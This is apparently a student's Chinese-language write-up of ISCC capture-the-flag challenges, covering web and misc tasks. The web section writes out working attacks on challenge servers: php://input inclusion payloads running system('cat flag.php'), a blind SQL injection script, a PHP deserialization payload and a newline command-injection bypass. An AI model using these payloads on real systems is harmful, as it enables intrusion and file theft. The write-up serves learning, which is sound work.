突然要整理ISCC的比赛信息,突然发现草稿箱里还有这篇文章。
前言:参加了ISCC比赛,对我这萌新造成了万倍的内心暴击,但还是有点收获的,记录下学习心得!(题目难度就不评价了,对萌新不友好)
web
web1: Where is file?
这道赛题好像在我复现的时候,已经被搞了,emmmmm不让萌新活了。
就看着我们团队大佬的复现了。
题目内容:
<?php
show_source(__FILE__);
echo $_GET['hello'];
$file=$_GET['file'];
while (strstr($file, "php://")) {
$file=str_replace("php://", "", $file);
}
include($file);
?>
使用伪协议(根据源码,不能使用file协议)读取flag内容:
php://filter
php://input
?file=php://input
post: <?php system('ls'); ?> //列目录
post: <?php system('cat flag.php'); ?> //查看flag.php内容,但执行后要查看源代码才能看到
本来还能用php://filter
复现呐,结果…
web2: 阿森的爱情-1
用目录爆破dirsearch,在readme.txt中可以找到flag。
等我复现时题被改了,emmm萌新无能叹息!
web4: 阿森的爱情-2
这是sql注入但是过滤了()
直接上脚本:
import requests
url = "http://101.201.126.95:7006/"
alist = "0123456789abcdef"
payload = ""
payload1 = "admin' union select 1,2,'" #将' or 1改成了admin'
payload2 = "' from admin order by 3 #"
datas = {"username":"",
"password":""
}
tmp_OK = ""
tmp = ""
for j in range(0,32):
for i in alist:
payload = payload1+tmp_OK+i+payload2
datas["username"] = payload
#print datas
r = requests.post(url=url,data=datas)
#print r.text
if "admin" in r.text: #将whaleadmin改成了admin
tmp_OK += tmp
print(tmp_OK)
break
if ("2" in r.text) and (i == "f"):
tmp_OK += i
print(tmp_OK)
tmp = i
脚本跑一下就能得到MD5值:bfe42ac26e273ef3a859a651e0a02dff
解密就能得到flag
web5: Php is the best language
源码:
<?php
@error_reporting(1);
include 'flag.php';
class baby
{
public $file;
function __toString()
{
if(isset($this->file))
{
$filename = "./{$this->file}";
if (base64_encode(file_get_contents($filename)))
{
return base64_encode(file_get_contents($filename));
}
}
}
}
if (isset($_GET['data']))
{
$data = $_GET['data'];
$good = unserialize($data);
echo $good;
}
else
{
$url='./index.php';
}
$html='';
if(isset($_POST['test'])){
$s = $_POST['test'];
$html.="<p>谢谢参与!</p>";
}
?>
很明显,反序列化,构造exp
<?php
class baby
{
public $file="flag.php";
function __toString()
{
if(isset($this->file))
{
$filename = "./{$this->file}";
if (base64_encode(file_get_contents($filename)))
{
return base64_encode(file_get_contents($filename));
}
}
}
}
$test1=new baby;
print_r(serialize($test1));
?>
由exp生成payload:
O:4:“baby”:1:{s:4:“file”;s:8:“flag.php”;}
输入payload,然后Base64解码,得到flag
PD9waHAgJGE9J2ZsYWd7dV9yX3JlYWxseV9hX3BocF9leHBlcnR9Jzs/Pg0K
反序化还没学,先把大佬的借过来,依葫芦画瓢,等以后学了回头看看。
web6: 阿帅的爱情
http://101.201.126.95:7013/
阿帅把她的秘密留在了这里:
<?php
if(!isset($_GET["ip"])){
show_source(__file__);
} else
{
$ip=$_GET["ip"];
$pattern="/[;|&].*[a-zA-Z]+/";
if(preg_match($pattern,$ip)!=0){
die('bad domain');
}
try {
$result = shell_exec('ping -c 4 ' . $ip);
}
catch(Exception $e) {
$result = $e->getMessage();
echo $result;
}
$result = str_replace("\n", "<br>", $result);
echo $result;
}
pattern 正则表达式
preg_match 函数用于执行一个正则表达式匹配,只会匹配一次
对get进来的参数IP进行正则匹配,过滤参数里的分隔符。
找到一种绕过方式:%0acat
执行ls命令列出目录下的文件:
这样就看到了包含flag的文件
?ip=%0acat flag.php
拿到了flag
web8: 神秘组织的邮件-2
神秘组织的邮件-1的flag{加减乘除},那是不是让几个数中加减乘除。
开始写脚本跑一下,大佬脚本:
import re
import requests
url="http://101.201.126.95:7010/"
headers={"Cookie":"PHPSESSID=e8iv7en9e33sqp6mi0j2c6ff7i"}
s=requests.Session()
r=s.get(url,headers=headers)
content=r.text
content=re.sub(r"</?(.+?)>","",content)#去掉html标签
content=re.sub('Result:','',content) #替换Result:为空
content=content.strip() #去除字符串左右两端的空格和\t、\r、\n
print(content)
num=content.split(' ') #这里是空格当做列表分隔符
print(num)
#num = list(map(int, n))#将列表转换为int型
#payload=num[0]+num[1]-num[2]*num[3]/num[4]
payload=int(num[0])+int(num[1])-int(num[2])*int(num[3])/int(num[4])
print(payload)
data = {"result":payload}
r = s.post(url=url+"result.php",headers=headers,data=data)
print(r.text)
知道地址但是访问失败了😢😢😢😢!(我还试了一下)
那就使用python脚本访问一下。
import requests
url="http://101.201.126.95:7010/IS20CC20abc%$.txt"
r=requests.get(url).text
print(r)
如果此参数result经过base64解密为flag .php,就能拿到flag了。
flag.php编码为:ZmxhZy5waHA=
我也试了一下burp抓包,没成功,不知道是操作问题,还是题被大佬搞了。
web不会的或者题被改得就放了🤣🤣🤣🤣🤣🤣
MISC
MISC1:ISCC签到
拿到附件打开:
拿到图片习惯性的看一下属性,
改一下高度,
维吉尼亚密码解密,密钥题目上已经提示了。
MISC2:寻找小明-1
打开压缩包:
用stegslove 在redplane 2时找到了二维码:
扫一下。拿到了一串数字[257,1,258,2,259,3,260,4,261,5,262,7,263,8,259,277,438,300,455,319,25,300,456,400,66,366,78,300,421,259,452,23]
这可能时x,y坐标的结合把。后边不知道改干什么了。
无能叹息!!
看了学长的博客其实数字列表的数字,两个一组作为像素点,发现每个点的R颜色通道值的ASCII码就是flag。
大佬脚本奉上:
import cv2
img=cv2.imread('zd.png')
x=[257,258,259,260,261,262,263,259,438,455,25,456,66,78,421,452]
y=[1,2,3,4,5,7,8,277,300,319,300,400,366,300,259,23]
for i in range(16):
px = img[y[i], x[i]]
print(chr(px[2]),end="")
跑脚本就得到了flag
MISC3:ISCC成绩查询-1
拿到附件用stegslove看一下,做题量太少很懵逼
由奇数点开始也由奇数点结束,而图上均为奇数点。
然后我也不知道了。。😂😂😂
学长说是半欧拉图,还是不懂,奉上大佬的图。
这样就得出了:TRLNCHHAFCIEEIEEPR
观察一下,看起来是栅栏密码,栅栏密码解密后为:THERAILFENCECIPHER
MISC4:神秘组织的邮件-1
大佬说是ISCC传统手艺,flag{加减乘除},(ˉ▽ˉ;)… 。这是基操
MISC5:千层套路
打开附件是动图,用stegslove抽出来8张图片,拼图。
这个图拼的眼疼。
我也卡这了。
听大佬说,用WinRAR打开题目.gif,里面别有一番天地。
但是需要解压密码,那我们的拼图里的字符应该是密码。(sr5#TKh~ck3^)
第一行应该是图片的宽高。
后面的是像素点画图。
然后开始跑脚本,大佬滴:
from PIL import Image
x = 141 #x坐标 通过对txt里的行数进行整数分
y = 726 #y坐标 x * y = 行数
im = Image.new("RGB", (x, y))
file = open('1.txt')
for i in range(0, x):
for j in range(0, y):
line = file.readline() #获取一行的rgb值
line = line[:-2]
line = line[1:]
#print(line)
rgb = line.split(", ") #分离rgb,文本中逗号后面有空格
im.putpixel((i, j), (int(rgb[0]), int(rgb[1]), int(rgb[2])))
im.save('test2.png')
跑脚本只能得到一半的flag
看道德经这句黑体话,字体变为白色可能就是另一半flag。
结合一下就会得到flag